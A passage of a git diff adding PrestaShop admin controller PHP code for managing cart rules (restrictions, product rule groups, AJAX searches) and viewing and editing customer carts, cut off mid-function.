'carrier', 'group', 'product_rule_group', 'shop') as $type) + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'cart_rule_'.$type.'` WHERE `id_cart_rule` = '.(int)$id_cart_rule); + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'cart_rule_product_rule` WHERE `id_product_rule_group` NOT IN (SELECT `id_product_rule_group` FROM `'._DB_PREFIX_.'cart_rule_product_rule_group`)'); + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'cart_rule_product_rule_value` WHERE `id_product_rule` NOT IN (SELECT `id_product_rule` FROM `'._DB_PREFIX_.'cart_rule_product_rule`)'); + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'cart_rule_combination` WHERE `id_cart_rule_1` = '.(int)$id_cart_rule.' OR `id_cart_rule_2` = '.(int)$id_cart_rule); + + $this->afterAdd($current_object); + } + + public function processAdd() + { + if ($cart_rule = parent::processAdd()) + $this->context->smarty->assign('new_cart_rule', $cart_rule); + if (Tools::getValue('submitFormAjax')) + $this->redirect_after = false; + + return $cart_rule; + } + /* @TODO Move this function into CartRule */ + protected function afterAdd($currentObject) + { + // Add restrictions for generic entities like country, carrier and group + foreach (array('country', 'carrier', 'group', 'shop') as $type) + if (Tools::getValue($type.'_restriction') && is_array($array = Tools::getValue($type.'_select')) && count($array)) + { + $values = array(); + foreach ($array as $id) + $values[] = '('.(int)$currentObject->id.','.(int)$id.')'; + Db::getInstance()->execute('INSERT INTO `'._DB_PREFIX_.'cart_rule_'.$type.'` (`id_cart_rule`, `id_'.$type.'`) VALUES '.implode(',', $values)); + } + // Add cart rule restrictions + if (Tools::getValue('cart_rule_restriction') && is_array($array = Tools::getValue('cart_rule_select')) && count($array)) + { + $values = array(); + foreach ($array as $id) + $values[] = '('.(int)$currentObject->id.','.(int)$id.')'; + Db::getInstance()->execute('INSERT INTO `'._DB_PREFIX_.'cart_rule_combination` (`id_cart_rule_1`, `id_cart_rule_2`) VALUES '.implode(',', $values)); + } + // Add product rule restrictions + if (Tools::getValue('product_restriction') && is_array($ruleGroupArray = Tools::getValue('product_rule_group')) && count($ruleGroupArray)) + { + foreach ($ruleGroupArray as $ruleGroupId) + { + Db::getInstance()->execute('INSERT INTO `'._DB_PREFIX_.'cart_rule_product_rule_group` (`id_cart_rule`, `quantity`) + VALUES ('.(int)$currentObject->id.', '.(int)Tools::getValue('product_rule_group_'.$ruleGroupId.'_quantity').')'); + $id_product_rule_group = Db::getInstance()->Insert_ID(); + + if (is_array($ruleArray = Tools::getValue('product_rule_'.$ruleGroupId)) && count($ruleArray)) + foreach ($ruleArray as $ruleId) + { + Db::getInstance()->execute('INSERT INTO `'._DB_PREFIX_.'cart_rule_product_rule` (`id_product_rule_group`, `type`) + VALUES ('.(int)$id_product_rule_group.', "'.pSQL(Tools::getValue('product_rule_'.$ruleGroupId.'_'.$ruleId.'_type')).'")'); + $id_product_rule = Db::getInstance()->Insert_ID(); + + $values = array(); + foreach (Tools::getValue('product_rule_select_'.$ruleGroupId.'_'.$ruleId) as $id) + $values[] = '('.(int)$id_product_rule.','.(int)$id.')'; + $values = array_unique($values); + if (count($values)) + Db::getInstance()->execute('INSERT INTO `'._DB_PREFIX_.'cart_rule_product_rule_value` (`id_product_rule`, `id_item`) VALUES '.implode(',', $values)); + } + } + } + + // If the new rule has no cart rule restriction, then it must be added to the white list of the other cart rules that have restrictions + if (!Tools::getValue('cart_rule_restriction')) + { + Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'cart_rule_combination` (`id_cart_rule_1`, `id_cart_rule_2`) ( + SELECT id_cart_rule, '.(int)$currentObject->id.' FROM `'._DB_PREFIX_.'cart_rule` WHERE cart_rule_restriction = 1 + )'); + } + // And if the new cart rule has restrictions, previously unrestricted cart rules may now be restricted (a mug of coffee is strongly advised to understand this sentence) + else + { + $ruleCombinations = Db::getInstance()->executeS(' + SELECT cr.id_cart_rule + FROM '._DB_PREFIX_.'cart_rule cr + WHERE cr.id_cart_rule != '.(int)$currentObject->id.' + AND cr.cart_rule_restriction = 0 + AND cr.id_cart_rule NOT IN ( + SELECT IF(id_cart_rule_1 = '.(int)$currentObject->id.', id_cart_rule_2, id_cart_rule_1) + FROM '._DB_PREFIX_.'cart_rule_combination + WHERE '.(int)$currentObject->id.' = id_cart_rule_1 + OR '.(int)$currentObject->id.' = id_cart_rule_2 + )'); + foreach ($ruleCombinations as $incompatibleRule) + { + Db::getInstance()->execute('UPDATE `'._DB_PREFIX_.'cart_rule` SET cart_rule_restriction = 1 WHERE id_cart_rule = '.(int)$incompatibleRule['id_cart_rule'].' LIMIT 1'); + Db::getInstance()->execute(' + INSERT IGNORE INTO `'._DB_PREFIX_.'cart_rule_combination` (`id_cart_rule_1`, `id_cart_rule_2`) ( + SELECT id_cart_rule, '.(int)$incompatibleRule['id_cart_rule'].' FROM `'._DB_PREFIX_.'cart_rule` + WHERE active = 1 + AND id_cart_rule != '.(int)$currentObject->id.' + AND id_cart_rule != '.(int)$incompatibleRule['id_cart_rule'].' + )'); + } + } + } + + /* Retrieve the cart rule product rule groups in the POST data if available, and in the database if there is none */ + public function getProductRuleGroupsDisplay($cart_rule) + { + $productRuleGroupsArray = array(); + if (Tools::getValue('product_restriction') && is_array($array = Tools::getValue('product_rule_group')) && count($array)) + { + $i = 1; + foreach ($array as $ruleGroupId) + { + $productRulesArray = array(); + if (is_array($array = Tools::getValue('product_rule_'.$ruleGroupId)) && count($array)) + { + foreach ($array as $ruleId) + { + $productRulesArray[] = $this->getProductRuleDisplay( + $ruleGroupId, + $ruleId, + Tools::getValue('product_rule_'.$ruleGroupId.'_'.$ruleId.'_type'), + Tools::getValue('product_rule_select_'.$ruleGroupId.'_'.$ruleId) + ); + } + } + + $productRuleGroupsArray[] = $this->getProductRuleGroupDisplay( + $i++, + (int)Tools::getValue('product_rule_group_'.$ruleGroupId.'_quantity'), + $productRulesArray + ); + } + } + else + { + $i = 1; + foreach ($cart_rule->getProductRuleGroups() as $productRuleGroup) + { + $j = 1; + $productRulesDisplay = array(); + foreach ($productRuleGroup['product_rules'] as $id_product_rule => $productRule) + $productRulesDisplay[] = $this->getProductRuleDisplay($i, $j++, $productRule['type'], $productRule['values']); + $productRuleGroupsArray[] = $this->getProductRuleGroupDisplay($i++, $productRuleGroup['quantity'], $productRulesDisplay); + } + } + return $productRuleGroupsArray; + } + + /* Return the form for a single cart rule group either with or without product_rules set up */ + public function getProductRuleGroupDisplay($product_rule_group_id, $product_rule_group_quantity = 1, $product_rules = null) + { + Context::getContext()->smarty->assign('product_rule_group_id', $product_rule_group_id); + Context::getContext()->smarty->assign('product_rule_group_quantity', $product_rule_group_quantity); + Context::getContext()->smarty->assign('product_rules', $product_rules); + return Context::getContext()->smarty->fetch('controllers/cart_rules/product_rule_group.tpl'); + } + + public function getProductRuleDisplay($product_rule_group_id, $product_rule_id, $product_rule_type, $selected = array()) + { + Context::getContext()->smarty->assign( + array( + 'product_rule_group_id' => (int)$product_rule_group_id, + 'product_rule_id' => (int)$product_rule_id, + 'product_rule_type' => $product_rule_type, + ) + ); + + switch ($product_rule_type) + { + case 'attributes': + $attributes = array('selected' => array(), 'unselected' => array()); + $results = Db::getInstance()->executeS(' + SELECT CONCAT(agl.name, " - ", al.name) as name, a.id_attribute as id + FROM '._DB_PREFIX_.'attribute_group_lang agl + LEFT JOIN '._DB_PREFIX_.'attribute a ON a.id_attribute_group = agl.id_attribute_group + LEFT JOIN '._DB_PREFIX_.'attribute_lang al ON (a.id_attribute = al.id_attribute AND al.id_lang = '.(int)Context::getContext()->language->id.') + WHERE agl.id_lang = '.(int)Context::getContext()->language->id.' + ORDER BY agl.name, al.name'); + foreach ($results as $row) + $attributes[in_array($row['id'], $selected) ? 'selected' : 'unselected'][] = $row; + Context::getContext()->smarty->assign('product_rule_itemlist', $attributes); + $choose_content = $this->createTemplate('controllers/cart_rules/product_rule_itemlist.tpl')->fetch(); + Context::getContext()->smarty->assign('product_rule_choose_content', $choose_content); + break; + case 'products': + $products = array('selected' => array(), 'unselected' => array()); + $results = Db::getInstance()->executeS(' + SELECT DISTINCT name, p.id_product as id + FROM '._DB_PREFIX_.'product p + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl + ON (p.`id_product` = pl.`id_product` + AND pl.`id_lang` = '.(int)Context::getContext()->language->id.Shop::addSqlRestrictionOnLang('pl').') + '.Shop::addSqlAssociation('product', 'p').' + WHERE id_lang = '.(int)Context::getContext()->language->id.' + ORDER BY name'); + foreach ($results as $row) + $products[in_array($row['id'], $selected) ? 'selected' : 'unselected'][] = $row; + Context::getContext()->smarty->assign('product_rule_itemlist', $products); + $choose_content = $this->createTemplate('controllers/cart_rules/product_rule_itemlist.tpl')->fetch(); + Context::getContext()->smarty->assign('product_rule_choose_content', $choose_content); + break; + case 'manufacturers': + $products = array('selected' => array(), 'unselected' => array()); + $results = Db::getInstance()->executeS(' + SELECT name, id_manufacturer as id + FROM '._DB_PREFIX_.'manufacturer + ORDER BY name'); + foreach ($results as $row) + $products[in_array($row['id'], $selected) ? 'selected' : 'unselected'][] = $row; + Context::getContext()->smarty->assign('product_rule_itemlist', $products); + $choose_content = $this->createTemplate('controllers/cart_rules/product_rule_itemlist.tpl')->fetch(); + Context::getContext()->smarty->assign('product_rule_choose_content', $choose_content); + break; + case 'suppliers': + $products = array('selected' => array(), 'unselected' => array()); + $results = Db::getInstance()->executeS(' + SELECT name, id_supplier as id + FROM '._DB_PREFIX_.'supplier + ORDER BY name'); + foreach ($results as $row) + $products[in_array($row['id'], $selected) ? 'selected' : 'unselected'][] = $row; + Context::getContext()->smarty->assign('product_rule_itemlist', $products); + $choose_content = $this->createTemplate('controllers/cart_rules/product_rule_itemlist.tpl')->fetch(); + Context::getContext()->smarty->assign('product_rule_choose_content', $choose_content); + break; + case 'categories': + $categories = array('selected' => array(), 'unselected' => array()); + $results = Db::getInstance()->executeS(' + SELECT DISTINCT name, c.id_category as id + FROM '._DB_PREFIX_.'category c + LEFT JOIN `'._DB_PREFIX_.'category_lang` cl + ON (c.`id_category` = cl.`id_category` + AND cl.`id_lang` = '.(int)Context::getContext()->language->id.Shop::addSqlRestrictionOnLang('cl').') + '.Shop::addSqlAssociation('category', 'c').' + WHERE id_lang = '.(int)Context::getContext()->language->id.' + ORDER BY name'); + foreach ($results as $row) + $categories[in_array($row['id'], $selected) ? 'selected' : 'unselected'][] = $row; + Context::getContext()->smarty->assign('product_rule_itemlist', $categories); + $choose_content = $this->createTemplate('controllers/cart_rules/product_rule_itemlist.tpl')->fetch(); + Context::getContext()->smarty->assign('product_rule_choose_content', $choose_content); + break; + default : + Context::getContext()->smarty->assign('product_rule_itemlist', array('selected' => array(), 'unselected' => array())); + Context::getContext()->smarty->assign('product_rule_choose_content', ''); + } + + return $this->createTemplate('controllers/cart_rules/product_rule.tpl')->fetch(); + } + + public function ajaxProcess() + { + if (Tools::isSubmit('newProductRule')) + die ($this->getProductRuleDisplay(Tools::getValue('product_rule_group_id'), Tools::getValue('product_rule_id'), Tools::getValue('product_rule_type'))); + if (Tools::isSubmit('newProductRuleGroup') && $product_rule_group_id = Tools::getValue('product_rule_group_id')) + die ($this->getProductRuleGroupDisplay($product_rule_group_id, Tools::getValue('product_rule_group_'.$product_rule_group_id.'_quantity', 1))); + + if (Tools::isSubmit('customerFilter')) + { + $search_query = trim(Tools::getValue('q')); + $customers = Db::getInstance()->executeS(' + SELECT `id_customer`, `email`, CONCAT(`firstname`, \' \', `lastname`) as cname + FROM `'._DB_PREFIX_.'customer` + WHERE `deleted` = 0 AND is_guest = 0 AND active = 1 + AND ( + `id_customer` = '.(int)$search_query.' + OR `email` LIKE "%'.pSQL($search_query).'%" + OR `firstname` LIKE "%'.pSQL($search_query).'%" + OR `lastname` LIKE "%'.pSQL($search_query).'%" + ) + ORDER BY `firstname`, `lastname` ASC + LIMIT 50'); + die(Tools::jsonEncode($customers)); + } + // Both product filter (free product and product discount) search for products + if (Tools::isSubmit('giftProductFilter') || Tools::isSubmit('reductionProductFilter')) + { + $products = Product::searchByName(Context::getContext()->language->id, trim(Tools::getValue('q'))); + die(Tools::jsonEncode($products)); + } + } + + protected function searchProducts($search) + { + if ($products = Product::searchByName((int)$this->context->language->id, $search)) + { + foreach ($products as &$product) + { + $combinations = array(); + $productObj = new Product((int)$product['id_product'], false, (int)$this->context->language->id); + $attributes = $productObj->getAttributesGroups((int)$this->context->language->id); + $product['formatted_price'] = Tools::displayPrice(Tools::convertPrice($product['price_tax_incl'], $this->context->currency), $this->context->currency); + + foreach ($attributes as $attribute) + { + if (!isset($combinations[$attribute['id_product_attribute']]['attributes'])) + $combinations[$attribute['id_product_attribute']]['attributes'] = ''; + $combinations[$attribute['id_product_attribute']]['attributes'] .= $attribute['attribute_name'].' - '; + $combinations[$attribute['id_product_attribute']]['id_product_attribute'] = $attribute['id_product_attribute']; + $combinations[$attribute['id_product_attribute']]['default_on'] = $attribute['default_on']; + if (!isset($combinations[$attribute['id_product_attribute']]['price'])) + { + $price_tax_incl = Product::getPriceStatic((int)$product['id_product'], true, $attribute['id_product_attribute']); + $combinations[$attribute['id_product_attribute']]['formatted_price'] = Tools::displayPrice(Tools::convertPrice($price_tax_incl, $this->context->currency), $this->context->currency); + } + } + + foreach ($combinations as &$combination) + $combination['attributes'] = rtrim($combination['attributes'], ' - '); + $product['combinations'] = $combinations; + } + return array( + 'products' => $products, + 'found' => true + ); + } + else + return array('found' => false, 'notfound' => Tools::displayError('No product has been found.')); + } + + public function ajaxProcessSearchProducts() + { + $array = $this->searchProducts(Tools::getValue('product_search')); + $this->content = trim(Tools::jsonEncode($array)); + } + + public function renderForm() + { + $back = Tools::safeOutput(Tools::getValue('back', '')); + if (empty($back)) + $back = self::$currentIndex.'&token='.$this->token; + + $this->toolbar_btn['save-and-stay'] = array( + 'href' => '#', + 'desc' => $this->l('Save and Stay') + ); + + $current_object = $this->loadObject(true); + + // All the filter are prefilled with the correct information + $customer_filter = ''; + if (Validate::isUnsignedId($current_object->id_customer) && + ($customer = new Customer($current_object->id_customer)) && + Validate::isLoadedObject($customer)) + $customer_filter = $customer->firstname.' '.$customer->lastname.' ('.$customer->email.')'; + + $gift_product_filter = ''; + if (Validate::isUnsignedId($current_object->gift_product) && + ($product = new Product($current_object->gift_product, false, $this->context->language->id)) && + Validate::isLoadedObject($product)) + $gift_product_filter = (!empty($product->reference) ? $product->reference : $product->name); + + $reduction_product_filter = ''; + if (Validate::isUnsignedId($current_object->reduction_product) && + ($product = new Product($current_object->reduction_product, false, $this->context->language->id)) && + Validate::isLoadedObject($product)) + $reduction_product_filter = (!empty($product->reference) ? $product->reference : $product->name); + + $product_rule_groups = $this->getProductRuleGroupsDisplay($current_object); + + $attribute_groups = AttributeGroup::getAttributesGroups($this->context->language->id); + $currencies = Currency::getCurrencies(); + $languages = Language::getLanguages(); + $countries = $current_object->getAssociatedRestrictions('country', true, true); + $groups = $current_object->getAssociatedRestrictions('group', false, true); + $shops = $current_object->getAssociatedRestrictions('shop', false, false); + $cart_rules = $current_object->getAssociatedRestrictions('cart_rule', false, true); + $carriers = $current_object->getAssociatedRestrictions('carrier', true, false); + foreach ($carriers as &$carriers2) + foreach ($carriers2 as &$carrier) + foreach ($carrier as $field => &$value) + if ($field == 'name' && $value == '0') + $value = Configuration::get('PS_SHOP_NAME'); + + $gift_product_select = ''; + $gift_product_attribute_select = ''; + if ((int)$current_object->gift_product) + { + $search_products = $this->searchProducts($gift_product_filter); + foreach ($search_products['products'] as $product) + { + $gift_product_select .= ' + <option value="'.$product['id_product'].'" '.($product['id_product'] == $current_object->gift_product ? 'selected="selected"' : '').'> + '.$product['name'].(count($product['combinations']) == 0 ? ' - '.$product['formatted_price'] : '').' + </option>'; + + if (count($product['combinations'])) + { + $gift_product_attribute_select .= '<select class="id_product_attribute" id="ipa_'.$product['id_product'].'" name="ipa_'.$product['id_product'].'">'; + foreach ($product['combinations'] as $combination) + { + $gift_product_attribute_select .= ' + <option '.($combination['id_product_attribute'] == $current_object->gift_product_attribute ? 'selected="selected"' : '').' value="'.$combination['id_product_attribute'].'"> + '.$combination['attributes'].' - '.$combination['formatted_price'].' + </option>'; + } + $gift_product_attribute_select .= '</select>'; + } + } + } + + $product = new Product($current_object->gift_product); + $this->context->smarty->assign( + array( + 'show_toolbar' => true, + 'toolbar_btn' => $this->toolbar_btn, + 'toolbar_scroll' => $this->toolbar_scroll, + 'title' => array($this->l('Payment: '), $this->l('Cart Rules')), + 'defaultDateFrom' => date('Y-m-d H:00:00'), + 'defaultDateTo' => date('Y-m-d H:00:00', strtotime('+1 month')), + 'customerFilter' => $customer_filter, + 'giftProductFilter' => $gift_product_filter, + 'gift_product_select' => $gift_product_select, + 'gift_product_attribute_select' => $gift_product_attribute_select, + 'reductionProductFilter' => $reduction_product_filter, + 'defaultCurrency' => Configuration::get('PS_CURRENCY_DEFAULT'), + 'id_lang_default' => Configuration::get('PS_LANG_DEFAULT'), + 'languages' => $languages, + 'currencies' => $currencies, + 'countries' => $countries, + 'carriers' => $carriers, + 'groups' => $groups, + 'shops' => $shops, + 'cart_rules' => $cart_rules, + 'product_rule_groups' => $product_rule_groups, + 'product_rule_groups_counter' => count($product_rule_groups), + 'attribute_groups' => $attribute_groups, + 'currentIndex' => self::$currentIndex, + 'currentToken' => $this->token, + 'currentObject' => $current_object, + 'currentTab' => $this, + 'hasAttribute' => $product->hasAttributes(), + ) + ); + + $this->content .= $this->createTemplate('form.tpl')->fetch(); + + $this->addJqueryUI('ui.datepicker'); + return parent::renderForm(); + } + + public function displayAjaxSearchCartRuleVouchers() + { + $found = false; + if ($vouchers = CartRule::getCartsRuleByCode(Tools::getValue('q'), (int)$this->context->language->id)) + $found = true; + echo Tools::jsonEncode(array('found' => $found, 'vouchers' => $vouchers)); + } +} \ No newline at end of file diff --git a/controllers/admin/AdminCartsController.php b/controllers/admin/AdminCartsController.php new file mode 100755 index 0000000..fc0cf91 --- /dev/null +++ b/controllers/admin/AdminCartsController.php @@ -0,0 +1,761 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminCartsControllerCore extends AdminController +{ + public function __construct() + { + $this->table = 'cart'; + $this->className = 'Cart'; + $this->lang = false; + $this->explicitSelect = true; + + $this->addRowAction('view'); + $this->addRowAction('delete'); + $this->allow_export = true; + + $this->_select = 'CONCAT(LEFT(c.`firstname`, 1), \'. \', c.`lastname`) `customer`, a.id_cart total, ca.name carrier, o.id_order, IF(co.id_guest, 1, 0) id_guest'; + $this->_join = 'LEFT JOIN '._DB_PREFIX_.'customer c ON (c.id_customer = a.id_customer) + LEFT JOIN '._DB_PREFIX_.'currency cu ON (cu.id_currency = a.id_currency) + LEFT JOIN '._DB_PREFIX_.'carrier ca ON (ca.id_carrier = a.id_carrier) + LEFT JOIN '._DB_PREFIX_.'orders o ON (o.id_cart = a.id_cart) + LEFT JOIN `'._DB_PREFIX_.'connections` co ON (a.id_guest = co.id_guest AND TIME_TO_SEC(TIMEDIFF(NOW(), co.`date_add`)) < 1800)'; + + $this->fields_list = array( + 'id_cart' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 25 + ), + 'id_order' => array( + 'title' => $this->l('Order ID'), + 'align' => 'center', 'width' => 25 + ), + 'customer' => array( + 'title' => $this->l('Customer'), + 'width' => 'auto', + 'filter_key' => 'c!lastname' + ), + 'total' => array( + 'title' => $this->l('Total'), + 'callback' => 'getOrderTotalUsingTaxCalculationMethod', + 'orderby' => false, + 'search' => false, + 'width' => 80, + 'align' => 'right', + 'prefix' => '<b>', + 'suffix' => '</b>', + ), + 'carrier' => array( + 'title' => $this->l('Carrier'), + 'width' => 50, + 'align' => 'center', + 'callback' => 'replaceZeroByShopName', + 'filter_key' => 'ca!name' + ), + 'date_add' => array( + 'title' => $this->l('Date'), + 'width' => 150, + 'align' => 'right', + 'type' => 'datetime', + 'filter_key' => 'a!date_add' + ), + 'id_guest' => array( + 'title' => $this->l('Online'), + 'width' => 40, + 'align' => 'center', + 'type' => 'bool', + 'havingFilter' => true, + 'icon' => array(0 => 'blank.gif', 1 => 'tab-customers.gif') + ) + ); + $this->shopLinkType = 'shop'; + + parent::__construct(); + } + + public function renderView() + { + if (!($cart = $this->loadObject(true))) + return; + $customer = new Customer($cart->id_customer); + $currency = new Currency($cart->id_currency); + $this->context->cart = $cart; + $this->context->currency = $currency; + $this->context->customer = $customer; + $products = $cart->getProducts(); + $customized_datas = Product::getAllCustomizedDatas((int)$cart->id); + Product::addCustomizationPrice($products, $customized_datas); + $summary = $cart->getSummaryDetails(); + + /* Display order information */ + $id_order = (int)Order::getOrderByCartId($cart->id); + $order = new Order($id_order); + if (Validate::isLoadedObject($order)) + { + $tax_calculation_method = $order->getTaxCalculationMethod(); + $id_shop = (int)$order->id_shop; + } + else + { + $id_shop = (int)$cart->id_shop; + $tax_calculation_method = Group::getPriceDisplayMethod(Group::getCurrent()->id); + } + + if ($tax_calculation_method == PS_TAX_EXC) + { + $total_products = $summary['total_products']; + $total_discounts = $summary['total_discounts_tax_exc']; + $total_wrapping = $summary['total_wrapping_tax_exc']; + $total_price = $summary['total_price_without_tax']; + $total_shipping = $summary['total_shipping_tax_exc']; + } + else + { + $total_products = $summary['total_products_wt']; + $total_discounts = $summary['total_discounts']; + $total_wrapping = $summary['total_wrapping']; + $total_price = $summary['total_price']; + $total_shipping = $summary['total_shipping']; + } + foreach ($products as $k => &$product) + { + if ($tax_calculation_method == PS_TAX_EXC) + { + $product['product_price'] = $product['price']; + $product['product_total'] = $product['total']; + } + else + { + $product['product_price'] = $product['price_wt']; + $product['product_total'] = $product['total_wt']; + } + $image = array(); + if (isset($product['id_product_attribute']) && (int)$product['id_product_attribute']) + $image = Db::getInstance()->getRow('SELECT id_image + FROM '._DB_PREFIX_.'product_attribute_image + WHERE id_product_attribute = '.(int)$product['id_product_attribute']); + if (!isset($image['id_image'])) + $image = Db::getInstance()->getRow('SELECT id_image + FROM '._DB_PREFIX_.'image + WHERE id_product = '.(int)$product['id_product'].' AND cover = 1'); + + $product_obj = new Product($product['id_product']); + $product['qty_in_stock'] = StockAvailable::getQuantityAvailableByProduct($product['id_product'], isset($product['id_product_attribute']) ? $product['id_product_attribute'] : null, (int)$id_shop); + + $image_product = new Image($image['id_image']); + $product['image'] = (isset($image['id_image']) ? ImageManager::thumbnail(_PS_IMG_DIR_.'p/'.$image_product->getExistingImgPath().'.jpg', 'product_mini_'.(int)$product['id_product'].(isset($product['id_product_attribute']) ? '_'.(int)$product['id_product_attribute'] : '').'.jpg', 45, 'jpg') : '--'); + } + + $this->tpl_view_vars = array( + 'products' => $products, + 'discounts' => $cart->getCartRules(), + 'order' => $order, + 'cart' => $cart, + 'currency' => $currency, + 'customer' => $customer, + 'customer_stats' => $customer->getStats(), + 'total_products' => $total_products, + 'total_discounts' => $total_discounts, + 'total_wrapping' => $total_wrapping, + 'total_price' => $total_price, + 'total_shipping' => $total_shipping, + 'customized_datas' => $customized_datas + ); + + return parent::renderView(); + } + + public function ajaxPreProcess() + { + if ($this->tabAccess['edit'] === '1') + { + $id_customer = (int)Tools::getValue('id_customer'); + $customer = new Customer((int)$id_customer); + $this->context->customer = $customer; + $id_cart = (int)Tools::getValue('id_cart'); + if (!$id_cart) + $id_cart = $customer->getLastCart(false); + $this->context->cart = new Cart((int)$id_cart); + + if (!$this->context->cart->id) + { + $this->context->cart->recyclable = 0; + $this->context->cart->gift = 0; + } + + if (!$this->context->cart->id_customer) + $this->context->cart->id_customer = $id_customer; + if ($this->context->cart->OrderExists()) + return; + if (!$this->context->cart->secure_key) + $this->context->cart->secure_key = $this->context->customer->secure_key; + if (!$this->context->cart->id_shop) + $this->context->cart->id_shop = (int)$this->context->shop->id; + if (!$this->context->cart->id_lang) + $this->context->cart->id_lang = (($id_lang = (int)Tools::getValue('id_lang')) ? $id_lang : Configuration::get('PS_LANG_DEFAULT')); + if (!$this->context->cart->id_currency) + $this->context->cart->id_currency = (($id_currency = (int)Tools::getValue('id_currency')) ? $id_currency : Configuration::get('PS_CURRENCY_DEFAULT')); + + $addresses = $customer->getAddresses((int)$this->context->cart->id_lang); + $id_address_delivery = (int)Tools::getValue('id_address_delivery'); + $id_address_invoice = (int)Tools::getValue('id_address_delivery'); + + if (!$this->context->cart->id_address_invoice && isset($addresses[0])) + $this->context->cart->id_address_invoice = (int)$addresses[0]['id_address']; + elseif ($id_address_invoice) + $this->context->cart->id_address_invoice = (int)$id_address_invoice; + if (!$this->context->cart->id_address_delivery && isset($addresses[0])) + $this->context->cart->id_address_delivery = $addresses[0]['id_address']; + elseif ($id_address_delivery) + $this->context->cart->id_address_delivery = (int)$id_address_delivery; + $this->context->cart->setNoMultishipping(); + $this->context->cart->save(); + $currency = new Currency((int)$this->context->cart->id_currency); + $this->context->currency = $currency; + } + } + + public function ajaxProcessDeleteProduct() + { + if ($this->tabAccess['edit'] === '1') + { + $errors = array(); + if ((!$id_product = (int)Tools::getValue('id_product')) || !Validate::isInt($id_product)) + $errors[] = Tools::displayError('Invalid product'); + if (($id_product_attribute = (int)Tools::getValue('id_product_attribute')) && !Validate::isInt($id_product_attribute)) + $errors[] = Tools::displayError('Invalid combination'); + if (count($errors)) + die(Tools::jsonEncode($errors)); + if ($this->context->cart->deleteProduct($id_product, $id_product_attribute, (int)Tools::getValue('id_customization'))) + echo Tools::jsonEncode($this->ajaxReturnVars()); + } + } + + public function ajaxProcessUpdateCustomizationFields() + { + $errors = array(); + if ($this->tabAccess['edit'] === '1') + { + $errors = array(); + if (Tools::getValue('only_display') != 1) + { + if (!$this->context->cart->id || (!$id_product = (int)Tools::getValue('id_product'))) + return; + $product = new Product((int)$id_product); + if (!$customization_fields = $product->getCustomizationFieldIds()) + return; + foreach ($customization_fields as $customization_field) + { + $field_id = 'customization_'.$id_product.'_'.$customization_field['id_customization_field']; + if ($customization_field['type'] == Product::CUSTOMIZE_TEXTFIELD) + { + if (!isset($_POST[$field_id]) || empty($_POST[$field_id])) + { + if ($customization_field['required']) + $errors[] = Tools::displayError('Please fill in all the required fields.'); + continue; + } + if (!Validate::isMessage($_POST[$field_id]) || empty($_POST[$field_id])) + $errors[] = Tools::displayError('Invalid message'); + $this->context->cart->addTextFieldToProduct((int)$product->id, (int)$customization_field['id_customization_field'], Product::CUSTOMIZE_TEXTFIELD, $_POST[$field_id]); + } + elseif ($customization_field['type'] == Product::CUSTOMIZE_FILE) + { + if (!isset($_FILES[$field_id]) || !isset($_FILES[$field_id]['tmp_name']) || empty($_FILES[$field_id]['tmp_name'])) + { + if ($customization_field['required']) + $errors[] = Tools::displayError('Please fill in all the required fields.'); + continue; + } + if ($error = ImageManager::validateUpload($_FILES[$field_id], (int)Configuration::get('PS_PRODUCT_PICTURE_MAX_SIZE'))) + $errors[] = $error; + if (!($tmp_name = tempnam(_PS_TMP_IMG_DIR_, 'PS')) || !move_uploaded_file($_FILES[$field_id]['tmp_name'], $tmp_name)) + $errors[] = Tools::displayError('An error occurred during the image upload process.'); + $file_name = md5(uniqid(rand(), true)); + if (!ImageManager::resize($tmp_name, _PS_UPLOAD_DIR_.$file_name)) + continue; + elseif (!ImageManager::resize($tmp_name, _PS_UPLOAD_DIR_.$file_name.'_small', (int)Configuration::get('PS_PRODUCT_PICTURE_WIDTH'), (int)Configuration::get('PS_PRODUCT_PICTURE_HEIGHT'))) + $errors[] = Tools::displayError('An error occurred during the image upload process.'); + elseif (!chmod(_PS_UPLOAD_DIR_.$file_name, 0777) || !chmod(_PS_UPLOAD_DIR_.$file_name.'_small', 0777)) + $errors[] = Tools::displayError('An error occurred during the image upload process.'); + else + $this->context->cart->addPictureToProduct((int)$product->id, (int)$customization_field['id_customization_field'], Product::CUSTOMIZE_FILE, $file_name); + unlink($tmp_name); + } + } + } + $this->setMedia(); + $this->initFooter(); + $this->context->smarty->assign(array('customization_errors' => implode('<br />', $errors), + 'css_files' => $this->css_files)); + return $this->smartyOutputContent('controllers/orders/form_customization_feedback.tpl'); + } + } + + public function ajaxProcessUpdateQty() + { + if ($this->tabAccess['edit'] === '1') + { + $errors = array(); + if (!$this->context->cart->id) + return; + if ($this->context->cart->OrderExists()) + $errors[] = Tools::displayError('An order has already been placed with this cart.'); + elseif (!($id_product = (int)Tools::getValue('id_product')) || !($product = new Product((int)$id_product, true, $this->context->language->id))) + $errors[] = Tools::displayError('Invalid product'); + elseif (!($qty = Tools::getValue('qty')) || $qty == 0) + $errors[] = Tools::displayError('Invalid quantity'); + + // Don't try to use a product if not instanciated before due to errors + if (isset($product) && $product->id) + { + if (($id_product_attribute = Tools::getValue('id_product_attribute')) != 0) + { + if (!Product::isAvailableWhenOutOfStock($product->out_of_stock) && !Attribute::checkAttributeQty((int)$id_product_attribute, (int)$qty)) + $errors[] = Tools::displayError('There is not enough product in stock.'); + } + else + if (!$product->checkQty((int)$qty)) + $errors[] = Tools::displayError('There is not enough product in stock.'); + if (!($id_customization = 